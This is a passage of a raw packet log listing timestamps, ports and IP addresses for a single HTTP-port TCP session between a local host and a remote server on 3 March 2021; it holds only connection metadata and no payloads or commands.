Mar 3, 2021 07:33:22.921602011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.921619892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.921679020 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.922591925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.922624111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.922662020 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.924427986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.924453020 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.924487114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.925542116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.925580978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.925632000 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.925959110 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.925986052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.926017046 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.927598953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.927622080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.927665949 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.928082943 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.928103924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.928134918 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.931880951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.931914091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.931941032 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.932296991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.932320118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.932348967 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.933542967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.933574915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.933620930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.934585094 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.934616089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.934663057 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.935672045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.935714960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.935740948 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.936798096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.936932087 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.937899113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.937927961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.937999010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.938962936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.938993931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.939503908 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.940017939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.940053940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.940118074 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.940360069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.940401077 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.940465927 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.941821098 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.941864014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.941931009 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.963108063 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.963140965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.963277102 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.963362932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.963386059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.963449955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.964071035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.964099884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.964168072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.965054989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.965075970 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.965150118 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.967245102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.967273951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.967349052 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.968101978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.968142986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.968199968 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.970007896 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.970033884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.970088959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.970304012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.970329046 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.970400095 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.971005917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.971030951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.971081972 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.971724987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.971750975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.971823931 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.972372055 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.972395897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.972450018 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.973073959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.973097086 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.973149061 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.973758936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.973795891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.973885059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.974457026 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.974483967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.974567890 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.975150108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.975174904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.975244999 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.975827932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.975852013 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.975919008 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.976535082 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.976561069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.976639986 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.977251053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.977269888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.977323055 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.977906942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.977932930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.977987051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.978621960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.978641033 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.978693008 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.979351997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.979377031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.979459047 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.980164051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.980187893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.980278015 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.980690002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.980711937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.980787992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.981379032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.981425047 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.981524944 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.982098103 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.982124090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.982175112 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.982743979 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.982767105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.982844114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.983443975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.983469963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.983530998 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.984172106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.984190941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.984256029 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.984849930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.984873056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.984975100 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.985507965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.985524893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.985647917 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.986202955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.986221075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.986295938 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.986907959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.986932993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.987008095 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.987622976 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.987647057 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.987725019 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.988305092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.988328934 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.988393068 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.989010096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.989032984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.989104986 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.989702940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.989732981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.989795923 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.990370035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.990394115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.990456104 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.991055965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.991079092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.991143942 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.991761923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.991784096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.991909981 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.992459059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.992480040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.992541075 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.993133068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.993172884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.993227959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.993860006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.993877888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.993957996 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.994525909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.994554043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.994621992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.995222092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.995254040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.995353937 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.995907068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.995935917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.996047974 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.996599913 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.996628046 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.996680975 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.997324944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.997422934 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.997498035 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.997983932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.998013020 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.998085976 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.998646975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.998667002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.998760939 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.999346972 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.999363899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.999433994 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.000030994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.000049114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.000133038 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.001636982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.001658916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.001679897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.001698017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.001734018 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.001991987 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.002114058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.002141953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.002202034 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.011650085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.011673927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.011785030 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.011885881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.011921883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.011981964 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.012504101 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.012520075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.012744904 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.013211012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.013226986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.013288975 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.013910055 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.013931036 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.013983011 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.015588045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.015609980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.015661955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.016412020 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.016433954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.016494989 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.018491983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.018512011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.018580914 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.018821001 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.018883944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.018925905 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.019944906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.019973993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.020016909 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.020368099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.020392895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.020459890 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.021519899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.021595955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.021620989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.021645069 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.022142887 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.022171021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.022186041 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.022195101 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.022233009 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.024499893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.024523020 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.024539948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.024581909 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.025002956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.025027990 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.025049925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.025058031 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.025098085 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.025790930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.025815964 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.025836945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.025866032 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.026706934 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.026732922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.026753902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.026773930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.026818991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.027617931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.027647972 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.027673960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.027724981 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.028477907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.028501987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.028526068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.028538942 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.028568983 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.029345036 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.029371023 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.029407978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.029437065 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.030193090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.030217886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.030251980 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.030257940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.030303955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.031064987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.031090021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.031112909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.031128883 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.031950951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.031979084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.032002926 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.032004118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.032042027 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.032787085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.032813072 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.032836914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.032866001 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.033621073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.033646107 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.033669949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.033693075 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.033716917 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.034384012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.034408092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.034432888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.034451962 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.035173893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.035198927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.035223961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.035231113 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.035285950 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.035938025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.035964012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.035990000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.036026001 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.036686897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.036711931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.036735058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.036744118 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.036778927 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.037440062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.037468910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.037496090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.037511110 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.038178921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.038207054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.038232088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.038237095 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.038270950 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.038942099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.038968086 CET	80	49770	172.67.179.188	192.168.2.4
